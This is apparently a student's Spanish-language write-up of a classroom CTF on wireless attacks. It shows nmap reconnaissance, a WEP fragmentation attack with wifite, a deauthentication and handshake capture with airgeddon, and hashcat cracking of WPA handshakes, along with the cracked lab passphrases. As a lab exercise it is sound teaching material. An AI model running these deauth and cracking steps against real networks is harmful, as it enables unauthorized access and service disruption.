

DÍA D - EJERCICIO FINAL - CTF ATAQUES A REDES WIRELESS

Canal Slack: cs-ft-sep-23

Prerrequisitos

Antena Alfa > VirtualBox Guest Additions > USB 3.0

Descargar del canal de slack: "CakeGuest_028ddb17732e.pcap" y "Swagger_6cb0ce434217.pcap"

Ataques WiFi y Cracking por equipos

El CTF consta de varios retos:

- Reto 1: Identificar cuáles son los dispositivos conectados al Access Point. 100 puntos

Con nmap haremos un reconocimiento de la red y podremos ver los dispositivos conectados. En este caso como estamos en una red NAT solo podremos ver lo que hay dentro de ella.

```
(root㉿kali)-[~]
# nmap -sV 10.0.2.0/24 -T 5

Nmap scan report for 10.0.2.1
Host is up (0.00080s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
53/tcp    open  tcpwrapped
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.2
Host is up (0.0014s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds?
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Service Info: OS: Windows; CPE:/o:microsoft:windows

Nmap scan report for 10.0.2.3
Host is up (0.00044s latency).
All 1000 scanned ports on 10.0.2.3 are in ignored states.
Not shown: 1000 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:95:7D:0D (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.2.9
Host is up (0.000022s latency).
All 1000 scanned ports on 10.0.2.9 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
```

- Reto 2: Realizar con éxito un ataque "Fragmentation" o "Chop-chop" al SSID WEP_CS_TheBridge. 200 puntos

```
(root㉿kali)-[~]
# iwconfig
lo      no wireless extensions.

eth0    no wireless extensions.

docker0  no wireless extensions.

wlan0   IEEE 802.11b  ESSID:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: Not-Associated
        Sensitivity:0/0
        Retry:off  RTS thr:off  Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality:0  Signal level:0  Noise level:0
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0  Missed beacon:0
```

1 Ponemos en modo monitor para poder capturar todo el trafico

Conseguimos la MAC del router con Wifite

```
(root㉿kali)-[~]
# airodump-ng wlan0
CH 6 ][ Elapsed: 18 s ][ 2023-10-30 10:54
          BSSID      PWR  Beacons  #Data, #/s  CH   MB   ENC CIPHER AUTH ESSID
00:B8:67:BE:2E:62 -41      2       0   0   4 130  WPA2 CCMP  PSK THEBRIDGE_profesores
00:B8:67:BE:2E:60 -45      6       0   0   4 130  WPA2 CCMP  PSK THEBRIDGE_invitados
00:B8:67:BA:C1:42 -56      1       0   0   3 130  WPA2 CCMP  PSK THEBRIDGE_profesores
00:B8:67:BE:2E:63 -43      3       0   0   4 130  WPA2 CCMP  PSK THEBRIDGE_staff
00:B8:67:BA:C1:43 -53      2       0   0   3 130  WPA2 CCMP  PSK THEBRIDGE_staff
00:B8:67:BE:2E:61 -62      0       25  2   2   -1 WPA   <length: 0>
00:B8:67:BA:F0:A1 -47      4       0   0   13 130  WPA2 CCMP  PSK THEBRIDGE_alumnos
00:B8:67:BA:F0:A0 -64      2       0   0   13 130  WPA2 CCMP  PSK THEBRIDGE_invitados
72:DA:88:4C:F4:2C -39      37      0   0   11 54e  WPA TKIP   PSK WPA_TKIP_CS_TheBridge
00:B8:67:BA:F0:A3 -42      3       0   0   13 130  WPA2 CCMP  PSK THEBRIDGE_staff
00:B8:67:BA:F0:A2 -70      4       0   0   13 130  WPA2 CCMP  PSK THEBRIDGE_profesores
9C:8C:D8:EA:B5:22 -39      2       0   0   6 130  OPEN   <length: 0>
9C:8C:D8:E7:0B:E2 -46      3       0   0   6 130  OPEN   <length: 0>
00:B8:67:BC:52:22 -22      16      0   0   7 130  WPA2 CCMP  PSK THEBRIDGE_profesores
00:B8:67:BC:52:23 -19      26      0   0   7 130  WPA2 CCMP  PSK THEBRIDGE_staff
00:B8:67:BC:52:21 -23      26      0   0   7 130  WPA2 CCMP  PSK THEBRIDGE_alumnos
00:B8:67:BC:52:20 -20      27      0   0   7 130  WPA2 CCMP  PSK THEBRIDGE_invitados
9C:8C:D8:EA:B5:21 -39      3       0   0   6 130  WPA2 CCMP  MGT   ACCESO1
72:DA:88:4C:F4:2B -46      31      2   0   11 54e. WEP   WEP   <length: 0>
WEP_CS_TheBridge
```

Sacamos la MAC de los AP

Abrimos wifite y preparamos el ataque

```
(root㉿kali)-[~]
# wifite
[+] wifite2 2.7.0
[+] a wireless auditor by derv82
[+] maintained by kimocoder
[+] https://github.com/kimocoder/wifite2

Interface  PHY  Driver  Chipset
1. wlan0    phy0  88XXau  Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter

[+] Enabling monitor mode on wlan0 ... enabled!
```

NUM	ESSID	CH	ENCR	PWR	WPS	CLIENT
1	THEBRIDGE_invitados	13	WPA-P	78db	no	
2	THEBRIDGE_profesores	13	WPA-P	76db	no	
3	THEBRIDGE_staff	13	WPA-P	76db	no	
4	THEBRIDGE_profesores	1	WPA-P	69db	no	
5	THEBRIDGE_invitados	1	WPA-P	62db	I	no
6	THEBRIDGE_staff	1	WPA-P	62db	no	
7	THEBRIDGE_alumnos	1	WPA-P	62db	no	
8	WPA_TKIP_CS_TheBridge	11	WPA-P	60db	no	
9	ACCESO1	6	WPA-E	60db	no	
10	THEBRIDGE_alumnos	13	WPA-P	50db	no	
11	WEP_CS_TheBridge	11	WEP	48db	no	

Seleccionamos la red a atacar

[+] Select target(s) (1-11) separated by commas, dashes or all: 11

```
[!] Interrupted
[+] Next steps:
  1: Deauth clients and retry replay attack against WEP_CS_TheBridge
  2: Start new fragment attack against WEP_CS_TheBridge [ Seleccionamos el ataque a realizar
  3: Start new chopchop attack against WEP_CS_TheBridge
  4: Start new caffelatte attack against WEP_CS_TheBridge
  5: Start new p0841 attack against WEP_CS_TheBridge
  6: Start new hirte attack against WEP_CS_TheBridge
  7: Stop attacking, Move onto next target
[?] Select an option (1-7): 2
```

En nuestro caso lanzamos el ataque y hemos estado toda la mañana con el ataque en ejecución y hemos visto que se mandan y reciben paquetes, pero apenas avanzaba.

```
/? Stop attacking, Move onto next target
[?] Select an option (1-7): 2
[+] attempting fake-authentication with 74:DA:88:4C:F4:2B ... success
[+] WEP_CS_TheBridge (50db) WEP fragment: 979/10000 IVs, fakeauth, Waiting for packet (read 78) ...
[+] WEP_CS_TheBridge (58db) WEP fragment: 1435/10000 IVs, fakeauth, Waiting for packet (read 9) ...
[+] WEP_CS_TheBridge (82db) WEP fragment: 1951/10000 IVs, fakeauth, sending packet
[+] WEP_CS_TheBridge (56db) WEP fragment: 3924/10000 IVs, fakeauth, sending packet
[+] WEP_CS_TheBridge (62db) WEP fragment: 4365/10000 IVs, fakeauth, sending packet
[+] WEP_CS_TheBridge (58db) WEP fragment: 4365/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (58db) WEP fragment: 4366/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (58db) WEP fragment: 4366/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (58db) WEP fragment: 4366/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (63db) WEP fragment: 4367/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (61db) WEP fragment: 4367/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (61db) WEP fragment: 4367/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (61db) WEP fragment: 4368/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (58db) WEP fragment: 4368/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (58db) WEP fragment: 4368/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (61db) WEP fragment: 4369/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (61db) WEP fragment: 4369/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (58db) WEP fragment: 4369/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (61db) WEP fragment: 4369/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (61db) WEP fragment: 4370/10000 IVs, fakeauth, sending
[+] WEP_CS_TheBridge (79db) WEP fragment: 6732/10000 IVs, fakeauth, sending packet
[+] WEP_CS_TheBridge (83db) WEP fragment: 6805/10000 IVs, fakeauth, Waiting for packet (read 68) ... █
```

- Reto 3: Conseguir extraer las credenciales del archivo "CakeGuest_028ddb17732e". 300 puntos
Pasamos el pcap a un fichero compatible de hashcat para poder crackear y extraer las credenciales



hashcat
advanced password recovery

Upload and extract
a WPA / WPA2 handshake from a pcap capture file
to a modern hashcat compatible hash file

PCAPNG, PCAP or CAP file: CakeGue...732e.pcap

Please read this [forum post](#) for a short hashcat + WPA1/2 tutorial.

This site is using state of the art handshake extraction tool hcxpcapngtool from [hxtools](#) for converting.
It is intended for users who dont want to struggle with compiling from sources.

Maximum size for upload is 20MB.

ATTENTION! You need hashcat v6.0.0 or higher in order to work with hash-mode 22000.

```
(root㉿kali)-[~/home/kali/Escritorio]
└─# hashcat -m 22000 /home/kali/Escritorio/365526_1698661236.hc22000 /usr/share/wordlists/rockyou.txt 3
 1 ruta del diccionario que usara hashcat
 2 Ruta donde esta ubicado el fichero
hashcat (v6.2.0) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SL
EEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
```

```
(root㉿kali)-[~/home/kali/Escritorio]
└─# hashcat -m 22000 /home/kali/Escritorio/365526_1698661236.hc22000 /usr/share/wordlists/rockyou.txt --show 1
 1 Con --show sacaremos solo el hash con las
 2 credenciales
69844d29458f3c61dec265ea77f15b6e:028ddb17732e:ae8d40aab0b8:CakeGuest:Cheesecake 2 hash crackeado
```

- Reto 4: Conseguir extraer las credenciales del archivo "Swagger_6cb0ce434217". 400 puntos
Como en el anterior reto hacemos uso de hashcat para pasar el archivo .pcap a uno de hashcat para que hashcat pueda trabajar sobre él y poder crackear los posibles hashes y extraer las credenciales.



hashcat
advanced password recovery

Upload and extract
a WPA / WPA2 handshake from a pcap capture file
to a modern hashcat compatible hash file

PCAPNG, PCAP or CAP file: CakeGue...732e.pcap

Please read this [forum post](#) for a short hashcat + WPA1/2 tutorial.

This site is using state of the art handshake extraction tool hcxpcapngtool from [hxctools](#) for converting.
It is intended for users who dont want to struggle with compiling from sources.

Maximum size for upload is **20MB**.

ATTENTION! You need hashcat v6.0.0 or higher in order to work with hash-mode 22000.

```
(root㉿kali)-[~/home/kali/Escritorio]
└─# hashcat -m 22000 /home/kali/Escritorio/SWAGGER365579_1698662021.hc22000 /usr/share/wordlists/rockyou.txt --show Con --show sacaremos solo las credenciales
8e3a6f73b7d2289150a66ff79f8e63d4:6cb0ce434217:02e0200af51b:Swagger:tennis87 Aquí ya tenemos el hash crackeado
crackeadas con su hash respectivo
```

- Reto 5: Realizar con éxito un ataque de "handshake capture" a la red WPA2_AES_CS_TheBridge o WPA_TKIP_CS_TheBridge. Realizar cracking offline. 500 puntos

NUM	ESSID	CH	ENCR	PWR	WPS	CLIENT
1	(B0:B8:67:BB:0F:21)	4	WPA	99db	no	
2	(72:DA:88:4C:F4:2B)	44	WPA-P	84db	no	
3	WPA2_AES_CS_TheBridge	44	WPA-P	83db	yes	1
4	THEBRIDGE_alumnos	100	WPA-P	77db	no	2
5	THEBRIDGE_profesores	100	WPA-P	77db	no	1
6	THEBRIDGE_staff	100	WPA-P	77db	no	
7	THEBRIDGE_invitados	100	WPA-P	76db	no	
8	THEBRIDGE_staff	2	WPA-P	75db	no	
9	THEBRIDGE_profesores	2	WPA-P	63db	no	
10	THEBRIDGE_alumnos	13	WPA-P	63db	no	
11	THEBRIDGE_invitados	13	WPA-P	62db	no	
12	WPA_TKIP_CS_TheBridge	11	WPA-P	61db	no	
13	THEBRIDGE_profesores	13	WPA-P	61db	no	
14	THEBRIDGE_alumnos	2	WPA-P	60db	no	
15	WifedaCarmem	11	WPA-P	57db	no	
16	THEBRIDGE_invitados	2	WPA-P	56db	no	
17	THEBRIDGE_invitados	8	WPA-P	53db	no	
18	THEBRIDGE_alumnos	8	WPA-P	53db	no	1
19	THEBRIDGE_profesores	8	WPA-P	53db	no	
20	THEBRIDGE_staff	8	WPA-P	52db	no	
21	ACCESO1	6	WPA-E	52db	no	
22	THEBRIDGE_invitados	9	WPA-P	51db	no	
23	THEBRIDGE_invitados	4	WPA-P	50db	no	
24	THEBRIDGE_staff	4	WPA-P	50db	no	
25	ACCESO1	6	WPA-E	49db	no	
26	THEBRIDGE_staff	9	WPA-P	49db	no	
27	THEBRIDGE_alumnos*	4	WPA-P	48db	no	1
28	THEBRIDGE_profesores	4	WPA-P	48db	no	
29	THEBRIDGE_invitados	13	WPA-P	48db	no	

Abrimos airgeddon

```
Archivo Acciones Editar Vista Ayuda
***** Bienvenid@ *****
***** Bienvenid@ a airgeddon script v11.21 *****
NUM FESSID CH ENCR PWR MPS CLIENT

$$\begin{array}{c} \backslash \sqrt{-} \\ ( \sqrt{-} \backslash \sqrt{-} \end{array}$$

Programado por vis1t0r
Select target(s) ( * (Selected by command) )
```

Navegamos y vamos seleccionando las opciones y configuraciones para preparar el ataque para sacar el handshake con las credenciales.

```
Interfaz wlan0 seleccionada. Modo: Monitor. Bandas soportadas: 2.4Ghz, 5Ghz
```

Selecciona una opción del menú:

- 0. Salir del script
- 1. Selecciona otra interfaz de red
- 2. Poner la interfaz en modo monitor
- 3. Poner la interfaz en modo managed
- 4. Menú de ataques Dos
- 5. Menú de herramientas Handshake/PMKID**
- 6. Menu de descifrado WPA/WPA2 offline
- 7. Menú de ataques Evil Twin
- 8. Menú de ataques WPS
- 9. Menú de ataques WEP
- 10. Menú de ataques Enterprise
- 11. Acerca de & Créditos / Menciones de patrocinadores
- 12. Menú de opciones e idioma

Consejo Buscamos traductores para otros idiomas. Si quieres ver airgeddon en tu lengua s://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Contributing

```
> 5
```

Selecciona una opción del menú:

- 0. Volver al menú principal
- 1. Selecciona otra interfaz de red
- 2. Poner la interfaz en modo monitor
- 3. Poner la interfaz en modo managed
- 4. Explorar para buscar objetivos (modo monitor requerido)
(modo monitor requerido en captura)
- 5. Capturar PMKID
- 6. Capturar Handshake**
- 7. Limpiar/optimizar fichero de Handshake

Consejo El orden natural para proceder en este menú suele ser: 1-Elige

```
> 6
```

Seleccionamos la red sobre la que queremos capturar

***** Seleccionar objetivo *****

N.	BSSID	CANAL	PWR	ENC	ESSID
1)	9C:8C:D8:E7:61:A1	1	30%	WPA2	ACCESO1
2)	9C:8C:D8:EA:B5:21	6	60%	WPA2	ACCESO1
3)	B0:B8:67:BE:2E:61	11	0%		(Hidden Network)
4)	B0:B8:67:BB:1E:E1	13	48%	WPA2	THEBRIDGE_alumnos
5)	B0:B8:67:BC:52:21	9	74%	WPA2	THEBRIDGE_alumnos
6)	B0:B8:67:BB:1E:E0	13	28%	WPA2	THEBRIDGE_invitados
7)	B0:B8:67:BC:52:20	9	48%	WPA2	THEBRIDGE_invitados
8)	B0:B8:67:BC:52:22	9	74%	WPA2	THEBRIDGE_profesores
9)	B0:B8:67:BC:52:23	9	74%	WPA2	THEBRIDGE_staff
10)	B0:B8:67:BC:A6:03	1	40%	WPA2	THEBRIDGE_staff
11)*	72:DA:88:4C:F4:2C	11	56%	WPA	WPA_TKIP_CS_TheBridge

(*) Red con clientes

Selecciona la red objetivo:

> 11

Una vez seleccionada procedemos a configurar el ataque

```
Interfaz wlan0 seleccionada. Modo: Monitor. Bandas soportadas: 2.4Ghz, 5Ghz
BSSID seleccionado: 72:DA:88:4C:F4:2C
Canal seleccionado: 11
ESSID seleccionado: WPA_TKIP_CS_TheBridge
Tipo de encriptado: WPA

Selección una opción del menú:
0. Volver al menú de herramientas Handshake
1. Ataque Deauth / Disassoc amok mdk4
2. Ataque Deauth aireplay
3. Ataque WIDS / WIPS / WDS Confusion
[*Consejo* ¿Tienes algún problema con tu tarjeta inalámbrica? ¿Quieres saber qué tarjeta podría ser buena para usar en airgeddon? Consulta el wiki
thub.com/v1sit0r1sh3r3/airgeddon/wiki/Cards%20and%20Chipsets
> 2
Escribe un valor en segundos (10-100) para el timeout o pulsa [Enter] para aceptar el valor propuesto [20]:
> 20
Timeout elegido 20 segundos
Se abrirán dos ventanas. Una con el capturador del Handshake y otra con el ataque para expulsar a los clientes y forzarlos a reconectar
No cierres manualmente ninguna ventana, el script lo hará cuando proceda. En unos 20 segundos como máximo sabrás si conseguiste el Handshake
Pulsa la tecla [Enter] para continuar ...
Escribe un valor en segundos (10-100) para el timeout o pulsa [Enter] para aceptar el valor propuesto [20]:
> 20
Timeout elegido 20 segundos
Se abrirán dos ventanas. Una con el capturador del Handshake y otra con el ataque para expulsar a los clientes y forzarlos a reconectar
No cierres manualmente ninguna ventana, el script lo hará cuando proceda. En unos 20 segundos como máximo sabrás si conseguiste el Handshake
Pulsa la tecla [Enter] para continuar ...
Espera. Ten un poco de paciencia ...
Vemos que se ha capturado el handshake
Además de capturar un Handshake, se ha comprobado que se capturado con éxito también un PMKID de la red elegida como objetivo
Enhorabuena !!
Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto [/root/handshake-72:DA:88:4C:F4:2C.cap]
> 
Ponemos la ruta en la que queremos que se guarde
```

Convertimos el .pcap con hashcat a un formato que pueda leer

Upload and extract
a WPA / WPA2 handshake from a pcap capture file
to a modern hashcat compatible hash file

CAPNG, PCAP or CAP file: handshake-72-DA-88-FC-F4-21.cap

Please read this [forum post](#) for a short hashcat + WPA1/2 tutorial.

This site is using state of the art handshake extraction tool `hcxpcapngtool` from [hcxtools](#) for converting.
It is intended for users who don't want to struggle with compiling from sources.

Maximum size for upload is **20MB**.

ATTENTION! You need hashcat v6.0.0 or higher in order to work with hash-mode 22000.

For best results, **avoid** tools that strip or modify capture files, such as:
- airodump-ng (with filter options)
- besside-ng
- wpaclean
- old bettercap versions
- old pwnapotchi versions
- tshark (with filter options)
- wireshark (with filter options)

The online converter works exclusively with default settings. Any additional in-depth tuning exceeds the scope of this online service.

Se lo pasamos por hashcat para que lo crakee

```
[root@kali] ~
# hashcat -m 22000 /home/kali/Descargas/367000_1698670140.hc22000 /usr/share/wordlists/rockyou.txt
```



```
[root@kali] ~
# hashcat -m 22000 /home/kali/Descargas/367000_1698670140.hc22000 /usr/share/wordlists/rockyou.txt --show
933002e5b8d96a5d645fc6823926fc71:72da884cf42c:aa1b16e51519:WPA_TKIP_CS_TheBridge:password1 Vemos que haschat ha crackeado el hash
```

Cada hora a partir del comienzo de la prueba, los profesores preguntan cual es la puntuación de los equipos, escribiendo un representante de cada equipo la misma en el canal de slack indicado arriba.

Hay que documentar el CTF para realizar la entrega en classroom. Este debe incluir como mínimo:

- Explicación de como el equipo ha superado cada prueba y/o nivel.
- Capturas de pantalla que evidencien como se ha superado cada prueba y/o nivel.
- Todos los integrantes del equipo realizarán individualmente la entrega en classroom aunque evidentemente será una copia de la de su compañero.